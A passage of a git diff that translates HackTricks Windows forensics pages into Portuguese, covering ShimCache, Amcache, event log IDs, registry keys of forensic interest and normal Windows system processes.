-- Full path of the file
-- Size of the file
-- Last Modified time under **$Standard_Information** (SI)
-- Last Updated time of the ShimCache
-- Process Execution Flag
+- Caminho completo do arquivo
+- Tamanho do arquivo
+- Hora da Última Modificação sob **$Standard_Information** (SI)
+- Hora da Última Atualização do ShimCache
+- Sinalizador de Execução do Processo
 
-Such data is stored within the registry at specific locations based on the version of the operating system:
+Esses dados são armazenados no registro em locais específicos com base na versão do sistema operacional:
 
-- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries.
-- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively.
+- Para XP, os dados são armazenados em `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` com capacidade para 96 entradas.
+- Para Server 2003, bem como para as versões do Windows 2008, 2012, 2016, 7, 8 e 10, o caminho de armazenamento é `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, acomodando 512 e 1024 entradas, respectivamente.
 
-To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use.
+Para analisar as informações armazenadas, a ferramenta [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser) é recomendada para uso.
 
 ![](<../../../images/image (488).png>)
 
 ### Amcache
 
-The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`.
+O arquivo **Amcache.hve** é essencialmente um hive de registro que registra detalhes sobre aplicativos que foram executados em um sistema. Ele é tipicamente encontrado em `C:\Windows\AppCompat\Programas\Amcache.hve`.
 
-This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system.
-
-To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format:
+Este arquivo é notável por armazenar registros de processos executados recentemente, incluindo os caminhos para os arquivos executáveis e seus hashes SHA1. Essas informações são inestimáveis para rastrear a atividade de aplicativos em um sistema.
 
+Para extrair e analisar os dados do **Amcache.hve**, a ferramenta [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) pode ser usada. O seguinte comando é um exemplo de como usar o AmcacheParser para analisar o conteúdo do arquivo **Amcache.hve** e gerar os resultados em formato CSV:
 ```bash
 AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
 ```
+Entre os arquivos CSV gerados, o `Amcache_Unassociated file entries` é particularmente notável devido às ricas informações que fornece sobre entradas de arquivos não associadas.
 
-Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries.
-
-The most interesting CVS file generated is the `Amcache_Unassociated file entries`.
+O arquivo CVS mais interessante gerado é o `Amcache_Unassociated file entries`.
 
 ### RecentFileCache
 
-This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries.
+Este artefato só pode ser encontrado no W7 em `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` e contém informações sobre a execução recente de alguns binários.
 
-You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file.
+Você pode usar a ferramenta [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) para analisar o arquivo.
 
-### Scheduled tasks
+### Tarefas agendadas
 
-You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML.
+Você pode extraí-las de `C:\Windows\Tasks` ou `C:\Windows\System32\Tasks` e lê-las como XML.
 
-### Services
+### Serviços
 
-You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when.
+Você pode encontrá-los no registro em `SYSTEM\ControlSet001\Services`. Você pode ver o que será executado e quando.
 
 ### **Windows Store**
 
-The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\
-This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**.
+Os aplicativos instalados podem ser encontrados em `\ProgramData\Microsoft\Windows\AppRepository\`\
+Este repositório possui um **log** com **cada aplicativo instalado** no sistema dentro do banco de dados **`StateRepository-Machine.srd`**.
 
-Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential.
+Dentro da tabela de Aplicativos deste banco de dados, é possível encontrar as colunas: "Application ID", "PackageNumber" e "Display Name". Essas colunas têm informações sobre aplicativos pré-instalados e instalados e pode-se verificar se alguns aplicativos foram desinstalados, pois os IDs dos aplicativos instalados devem ser sequenciais.
 
-It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
-And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
+Também é possível **encontrar aplicativos instalados** dentro do caminho do registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
+E **aplicativos desinstalados** em: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
 
-## Windows Events
+## Eventos do Windows
 
-Information that appears inside Windows events are:
+As informações que aparecem nos eventos do Windows são:
 
-- What happened
+- O que aconteceu
 - Timestamp (UTC + 0)
-- Users involved
-- Hosts involved (hostname, IP)
-- Assets accessed (files, folder, printer, services)
+- Usuários envolvidos
+- Hosts envolvidos (nome do host, IP)
+- Ativos acessados (arquivos, pastas, impressoras, serviços)
 
-The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension.
+Os logs estão localizados em `C:\Windows\System32\config` antes do Windows Vista e em `C:\Windows\System32\winevt\Logs` após o Windows Vista. Antes do Windows Vista, os logs de eventos estavam em formato binário e, após, estão em **formato XML** e usam a extensão **.evtx**.
 
-The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
+A localização dos arquivos de eventos pode ser encontrada no registro do SYSTEM em **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
 
-They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
+Eles podem ser visualizados a partir do Visualizador de Eventos do Windows (**`eventvwr.msc`**) ou com outras ferramentas como [**Event Log Explorer**](https://eventlogxp.com) **ou** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
 
-## Understanding Windows Security Event Logging
+## Compreendendo o Registro de Eventos de Segurança do Windows
 
-Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access.
+Eventos de acesso são registrados no arquivo de configuração de segurança localizado em `C:\Windows\System32\winevt\Security.evtx`. O tamanho deste arquivo é ajustável e, quando sua capacidade é atingida, eventos mais antigos são sobrescritos. Eventos registrados incluem logins e logoffs de usuários, ações de usuários e alterações nas configurações de segurança, bem como acesso a arquivos, pastas e ativos compartilhados.
 
-### Key Event IDs for User Authentication:
+### IDs de Evento Chave para Autenticação de Usuário:
 
-- **EventID 4624**: Indicates a user successfully authenticated.
-- **EventID 4625**: Signals an authentication failure.
-- **EventIDs 4634/4647**: Represent user logoff events.
-- **EventID 4672**: Denotes login with administrative privileges.
+- **EventID 4624**: Indica que um usuário se autenticou com sucesso.
+- **EventID 4625**: Sinaliza uma falha de autenticação.
+- **EventIDs 4634/4647**: Representam eventos de logoff de usuário.
+- **EventID 4672**: Denota login com privilégios administrativos.
 
-#### Sub-types within EventID 4634/4647:
+#### Subtipos dentro do EventID 4634/4647:
 
-- **Interactive (2)**: Direct user login.
-- **Network (3)**: Access to shared folders.
-- **Batch (4)**: Execution of batch processes.
-- **Service (5)**: Service launches.
-- **Proxy (6)**: Proxy authentication.
-- **Unlock (7)**: Screen unlocked with a password.
-- **Network Cleartext (8)**: Clear text password transmission, often from IIS.
-- **New Credentials (9)**: Usage of different credentials for access.
-- **Remote Interactive (10)**: Remote desktop or terminal services login.
-- **Cache Interactive (11)**: Login with cached credentials without domain controller contact.
-- **Cache Remote Interactive (12)**: Remote login with cached credentials.
-- **Cached Unlock (13)**: Unlocking with cached credentials.
+- **Interativo (2)**: Login direto do usuário.
+- **Rede (3)**: Acesso a pastas compartilhadas.
+- **Batch (4)**: Execução de processos em lote.
+- **Serviço (5)**: Lançamentos de serviço.
+- **Proxy (6)**: Autenticação proxy.
+- **Desbloquear (7)**: Tela desbloqueada com uma senha.
+- **Texto Claro da Rede (8)**: Transmissão de senha em texto claro, muitas vezes do IIS.
+- **Novas Credenciais (9)**: Uso de credenciais diferentes para acesso.
+- **Interativo Remoto (10)**: Login em serviços de desktop remoto ou terminal.
+- **Cache Interativo (11)**: Login com credenciais em cache sem contato com o controlador de domínio.
+- **Cache Interativo Remoto (12)**: Login remoto com credenciais em cache.
+- **Desbloqueio em Cache (13)**: Desbloqueio com credenciais em cache.
 
-#### Status and Sub Status Codes for EventID 4625:
+#### Códigos de Status e Substatus para EventID 4625:
 
-- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack.
-- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt.
-- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins.
-- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts.
-- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access.
-- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location.
-- **0xC0000193**: Account expiration - Access attempts with expired user accounts.
-- **0xC0000071**: Expired password - Login attempts with outdated passwords.
-- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket.
-- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security.
-- **0xC0000225**: Indicates a system bug rather than a security issue.
-- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon.
+- **0xC0000064**: Nome de usuário não existe - Pode indicar um ataque de enumeração de nome de usuário.
+- **0xC000006A**: Nome de usuário correto, mas senha errada - Possível tentativa de adivinhação de senha ou força bruta.
+- **0xC0000234**: Conta de usuário bloqueada - Pode seguir um ataque de força bruta resultando em múltiplos logins falhados.
+- **0xC0000072**: Conta desativada - Tentativas não autorizadas de acessar contas desativadas.
+- **0xC000006F**: Logon fora do horário permitido - Indica tentativas de acesso fora do horário de login definido, um possível sinal de acesso não autorizado.
+- **0xC0000070**: Violação das restrições de estação de trabalho - Pode ser uma tentativa de login de um local não autorizado.
+- **0xC0000193**: Expiração da conta - Tentativas de acesso com contas de usuário expiradas.
+- **0xC0000071**: Senha expirada - Tentativas de login com senhas desatualizadas.
+- **0xC0000133**: Problemas de sincronização de tempo - Grandes discrepâncias de tempo entre cliente e servidor podem indicar ataques mais sofisticados, como pass-the-ticket.
+- **0xC0000224**: Mudança obrigatória de senha necessária - Mudanças obrigatórias frequentes podem sugerir uma tentativa de desestabilizar a segurança da conta.
+- **0xC0000225**: Indica um bug do sistema em vez de um problema de segurança.
+- **0xC000015b**: Tipo de logon negado - Tentativa de acesso com tipo de logon não autorizado, como um usuário tentando executar um logon de serviço.
 
 #### EventID 4616:
 
-- **Time Change**: Modification of the system time, could obscure the timeline of events.
+- **Mudança de Hora**: Modificação do tempo do sistema, pode obscurecer a linha do tempo dos eventos.
 
-#### EventID 6005 and 6006:
+#### EventID 6005 e 6006:
 
-- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down.
+- **Inicialização e Desligamento do Sistema**: O EventID 6005 indica que o sistema está iniciando, enquanto o EventID 6006 marca o desligamento.
 
 #### EventID 1102:
 
-- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities.
+- **Exclusão de Log**: Logs de segurança sendo limpos, o que é frequentemente um sinal de alerta para encobrir atividades ilícitas.
 
-#### EventIDs for USB Device Tracking:
+#### EventIDs para Rastreamento de Dispositivos USB:
 
-- **20001 / 20003 / 10000**: USB device first connection.
-- **10100**: USB driver update.
-- **EventID 112**: Time of USB device insertion.
+- **20001 / 20003 / 10000**: Primeira conexão do dispositivo USB.
+- **10100**: Atualização do driver USB.
+- **EventID 112**: Hora da inserção do dispositivo USB.
 
-For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
+Para exemplos práticos sobre como simular esses tipos de login e oportunidades de despejo de credenciais, consulte o [guia detalhado da Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
 
-Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625.
+Os detalhes do evento, incluindo códigos de status e substatus, fornecem mais insights sobre as causas dos eventos, particularmente notáveis no Event ID 4625.
 
-### Recovering Windows Events
+### Recuperando Eventos do Windows
 
-To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events.
+Para aumentar as chances de recuperar Eventos do Windows excluídos, é aconselhável desligar o computador suspeito desconectando-o diretamente. **Bulk_extractor**, uma ferramenta de recuperação que especifica a extensão `.evtx`, é recomendada para tentar recuperar tais eventos.
 
-### Identifying Common Attacks via Windows Events
+### Identificando Ataques Comuns via Eventos do Windows
 
-For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/).
+Para um guia abrangente sobre como utilizar os IDs de Evento do Windows na identificação de ataques cibernéticos comuns, visite [Red Team Recipe](https://redteamrecipe.com/event-codes/).
 
-#### Brute Force Attacks
+#### Ataques de Força Bruta
 
-Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds.
+Identificáveis por múltiplos registros de EventID 4625, seguidos por um EventID 4624 se o ataque for bem-sucedido.
 
-#### Time Change
+#### Mudança de Hora
 
-Recorded by EventID 4616, changes to system time can complicate forensic analysis.
+Registrada pelo EventID 4616, mudanças no tempo do sistema podem complicar a análise forense.
 
-#### USB Device Tracking
+#### Rastreamento de Dispositivos USB
 
-Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps.
+IDs de Evento do Sistema úteis para rastreamento de dispositivos USB incluem 20001/20003/10000 para uso inicial, 10100 para atualizações de driver e EventID 112 do DeviceSetupManager para timestamps de inserção.
 
-#### System Power Events
+#### Eventos de Energia do Sistema
 
-EventID 6005 indicates system startup, while EventID 6006 marks shutdown.
+EventID 6005 indica inicialização do sistema, enquanto EventID 6006 marca o desligamento.
 
-#### Log Deletion
+#### Exclusão de Log
 
-Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis.
-
-

-
-{% embed url="https://websec.nl/" %}
+O EventID de Segurança 1102 sinaliza a exclusão de logs, um evento crítico para análise forense.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md
index 840b910bc..c4f32e257 100644
--- a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md
+++ b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md
@@ -1,101 +1,101 @@
-# Interesting Windows Registry Keys
+# Chaves de Registro do Windows Interessantes
 
-### Interesting Windows Registry Keys
+### Chaves de Registro do Windows Interessantes
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### **Windows Version and Owner Info**
+### **Informações sobre a Versão do Windows e Proprietário**
 
-- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner.
+- Localizado em **`Software\Microsoft\Windows NT\CurrentVersion`**, você encontrará a versão do Windows, Service Pack, hora da instalação e o nome do proprietário registrado de forma direta.
 
-### **Computer Name**
+### **Nome do Computador**
 
-- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**.
+- O nome do host é encontrado em **`System\ControlSet001\Control\ComputerName\ComputerName`**.
 
-### **Time Zone Setting**
+### **Configuração do Fuso Horário**
 
-- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**.
+- O fuso horário do sistema é armazenado em **`System\ControlSet001\Control\TimeZoneInformation`**.
 
-### **Access Time Tracking**
+### **Rastreamento do Tempo de Acesso**
 
-- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use:
-  `fsutil behavior set disablelastaccess 0`
+- Por padrão, o rastreamento do último tempo de acesso está desativado (**`NtfsDisableLastAccessUpdate=1`**). Para ativá-lo, use:
+`fsutil behavior set disablelastaccess 0`
 
-### Windows Versions and Service Packs
+### Versões do Windows e Service Packs
 
-- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features.
+- A **versão do Windows** indica a edição (por exemplo, Home, Pro) e seu lançamento (por exemplo, Windows 10, Windows 11), enquanto os **Service Packs** são atualizações que incluem correções e, às vezes, novos recursos.
 
-### Enabling Last Access Time
+### Habilitando o Tempo de Acesso
 
-- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring.
+- Habilitar o rastreamento do último tempo de acesso permite que você veja quando os arquivos foram abertos pela última vez, o que pode ser crítico para análise forense ou monitoramento do sistema.
 
-### Network Information Details
+### Detalhes da Informação de Rede
 
-- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions.
+- O registro contém dados extensivos sobre configurações de rede, incluindo **tipos de redes (sem fio, cabo, 3G)** e **categorias de rede (Pública, Privada/Casa, Domínio/Trabalho)**, que são vitais para entender as configurações de segurança e permissões da rede.
 
-### Client Side Caching (CSC)
+### Cache do Lado do Cliente (CSC)
 
-- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity.
+- **CSC** melhora o acesso a arquivos offline armazenando cópias de arquivos compartilhados. Diferentes configurações de **CSCFlags** controlam como e quais arquivos são armazenados em cache, afetando o desempenho e a experiência do usuário, especialmente em ambientes com conectividade intermitente.
 
-### AutoStart Programs
+### Programas de Inicialização Automática
 
-- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software.
+- Programas listados em várias chaves de registro `Run` e `RunOnce` são lançados automaticamente na inicialização, afetando o tempo de inicialização do sistema e potencialmente sendo pontos de interesse para identificar malware ou software indesejado.
 
 ### Shellbags
 
-- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means.
+- **Shellbags** não apenas armazenam preferências para visualizações de pastas, mas também fornecem evidências forenses de acesso a pastas, mesmo que a pasta não exista mais. Eles são inestimáveis para investigações, revelando a atividade do usuário que não é óbvia por outros meios.
 
-### USB Information and Forensics
+### Informações e Forense de USB
 
-- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents.
+- Os detalhes armazenados no registro sobre dispositivos USB podem ajudar a rastrear quais dispositivos foram conectados a um computador, potencialmente ligando um dispositivo a transferências de arquivos sensíveis ou incidentes de acesso não autorizado.
 
-### Volume Serial Number
+### Número de Série do Volume
 
-- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices.
+- O **Número de Série do Volume** pode ser crucial para rastrear a instância específica de um sistema de arquivos, útil em cenários forenses onde a origem do arquivo precisa ser estabelecida entre diferentes dispositivos.
 
-### **Shutdown Details**
+### **Detalhes do Desligamento**
 
-- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**.
+- O tempo e a contagem de desligamento (esta última apenas para XP) são mantidos em **`System\ControlSet001\Control\Windows`** e **`System\ControlSet001\Control\Watchdog\Display`**.
 
-### **Network Configuration**
+### **Configuração de Rede**
 
-- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
-- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
+- Para informações detalhadas sobre a interface de rede, consulte **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
+- Os tempos de conexão de rede, incluindo conexões VPN, são registrados em vários caminhos em **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
 
-### **Shared Folders**
+### **Pastas Compartilhadas**
 
-- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability.
+- Pastas e configurações compartilhadas estão em **`System\ControlSet001\Services\lanmanserver\Shares`**. As configurações de Cache do Lado do Cliente (CSC) ditam a disponibilidade de arquivos offline.
 
-### **Programs that Start Automatically**
+### **Programas que Iniciam Automaticamente**
 
-- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup.
+- Caminhos como **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** e entradas semelhantes em `Software\Microsoft\Windows\CurrentVersion` detalham programas configurados para serem executados na inicialização.
 
-### **Searches and Typed Paths**
+### **Pesquisas e Caminhos Digitados**
 
-- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively.
+- Pesquisas do Explorer e caminhos digitados são rastreados no registro sob **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** para WordwheelQuery e TypedPaths, respectivamente.
 
-### **Recent Documents and Office Files**
+### **Documentos Recentes e Arquivos do Office**
 
-- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths.
+- Documentos recentes e arquivos do Office acessados são anotados em `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` e caminhos específicos da versão do Office.
 
-### **Most Recently Used (MRU) Items**
+### **Itens Mais Recentemente Usados (MRU)**
 
-- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`.
+- Listas MRU, indicando caminhos de arquivos e comandos recentes, são armazenadas em várias subchaves `ComDlg32` e `Explorer` sob `NTUSER.DAT`.
 
-### **User Activity Tracking**
+### **Rastreamento de Atividade do Usuário**
 
-- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
+- O recurso User Assist registra estatísticas detalhadas de uso de aplicativos, incluindo contagem de execuções e hora da última execução, em **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
 
-### **Shellbags Analysis**
+### **Análise de Shellbags**
 
-- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis.
+- Shellbags, revelando detalhes de acesso a pastas, são armazenados em `USRCLASS.DAT` e `NTUSER.DAT` sob `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** para análise.
 
-### **USB Device History**
+### **Histórico de Dispositivos USB**
 
-- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps.
-- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**.
-- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively.
+- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** e **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contêm detalhes ricos sobre dispositivos USB conectados, incluindo fabricante, nome do produto e timestamps de conexão.
+- O usuário associado a um dispositivo USB específico pode ser identificado pesquisando os hives `NTUSER.DAT` pelo **{GUID}** do dispositivo.
+- O último dispositivo montado e seu número de série do volume podem ser rastreados através de `System\MountedDevices` e `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectivamente.
 
-This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability.
+Este guia condensa os caminhos e métodos cruciais para acessar informações detalhadas sobre sistema, rede e atividade do usuário em sistemas Windows, visando clareza e usabilidade.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md
index 06f914970..2ababfe30 100644
--- a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md
+++ b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md
@@ -2,105 +2,105 @@
 
 ## smss.exe
 
-**Session Manager**.\
-Session 0 starts **csrss.exe** and **wininit.exe** (**OS** **services**) while Session 1 starts **csrss.exe** and **winlogon.exe** (**User** **session**). However, you should see **only one process** of that **binary** without children in the processes tree.
+**Gerenciador de Sessão**.\
+A Sessão 0 inicia **csrss.exe** e **wininit.exe** (**serviços do OS**) enquanto a Sessão 1 inicia **csrss.exe** e **winlogon.exe** (**sessão do usuário**). No entanto, você deve ver **apenas um processo** desse **binário** sem filhos na árvore de processos.
 
-Also, sessions apart from 0 and 1 may mean that RDP sessions are occurring.
+Além disso, sessões diferentes de 0 e 1 podem significar que sessões RDP estão ocorrendo.
 
 ## csrss.exe
 
-**Client/Server Run Subsystem Process**.\
-It manages **processes** and **threads**, makes the **Windows** **API** available for other processes and also **maps drive letters**, create **temp files**, and handles the **shutdown** **process**.
+**Processo de Subsystema de Execução Cliente/Servidor**.\
+Gerencia **processos** e **threads**, torna a **API do Windows** disponível para outros processos e também **mapeia letras de unidade**, cria **arquivos temporários** e gerencia o **processo de desligamento**.
 
-There is one **running in Session 0 and another one in Session 1** (so **2 processes** in the processes tree). Another one is created **per new Session**.
+Há um **executando na Sessão 0 e outro na Sessão 1** (então **2 processos** na árvore de processos). Outro é criado **por nova Sessão**.
 
 ## winlogon.exe
 
-**Windows Logon Process**.\
-It's responsible for user **logon**/**logoffs**. It launches **logonui.exe** to ask for username and password and then calls **lsass.exe** to verify them.
+**Processo de Logon do Windows**.\
+É responsável pelo **logon**/**logoff** do usuário. Lança **logonui.exe** para solicitar nome de usuário e senha e então chama **lsass.exe** para verificá-los.
 
-Then it launches **userinit.exe** which is specified in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** with key **Userinit**.
+Em seguida, lança **userinit.exe** que é especificado em **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** com a chave **Userinit**.
 
-Mover over, the previous registry should have **explorer.exe** in the **Shell key** or it might be abused as a **malware persistence method**.
+Além disso, o registro anterior deve ter **explorer.exe** na chave **Shell** ou pode ser abusado como um **método de persistência de malware**.
 
 ## wininit.exe
 
-**Windows Initialization Process**. \
-It launches **services.exe**, **lsass.exe**, and **lsm.exe** in Session 0. There should only be 1 process.
+**Processo de Inicialização do Windows**. \
+Lança **services.exe**, **lsass.exe** e **lsm.exe** na Sessão 0. Deve haver apenas 1 processo.
 
 ## userinit.exe
 
-**Userinit Logon Application**.\
-Loads the **ntduser.dat in HKCU** and initialises the **user** **environment** and runs **logon** **scripts** and **GPO**.
+**Aplicativo de Logon Userinit**.\
+Carrega o **ntduser.dat em HKCU** e inicializa o **ambiente** **do usuário** e executa **scripts de logon** e **GPO**.
 
-It launches **explorer.exe**.
+Lança **explorer.exe**.
 
 ## lsm.exe
 
-**Local Session Manager**.\
-It works with smss.exe to manipulate user sessions: Logon/logoff, shell start, lock/unlock desktop, etc.
+**Gerenciador de Sessão Local**.\
+Trabalha com smss.exe para manipular sessões de usuário: Logon/logoff, início de shell, bloqueio/desbloqueio de desktop, etc.
 
-After W7 lsm.exe was transformed into a service (lsm.dll).
+Após o W7, lsm.exe foi transformado em um serviço (lsm.dll).
 
-There should only be 1 process in W7 and from them a service running the DLL.
+Deve haver apenas 1 processo no W7 e, a partir dele, um serviço executando a DLL.
 
 ## services.exe
 
-**Service Control Manager**.\
-It **loads** **services** configured as **auto-start** and **drivers**.
+**Gerenciador de Controle de Serviços**.\
+**Carrega** **serviços** configurados como **início automático** e **drivers**.
 
-It's the parent process of **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** and many more.
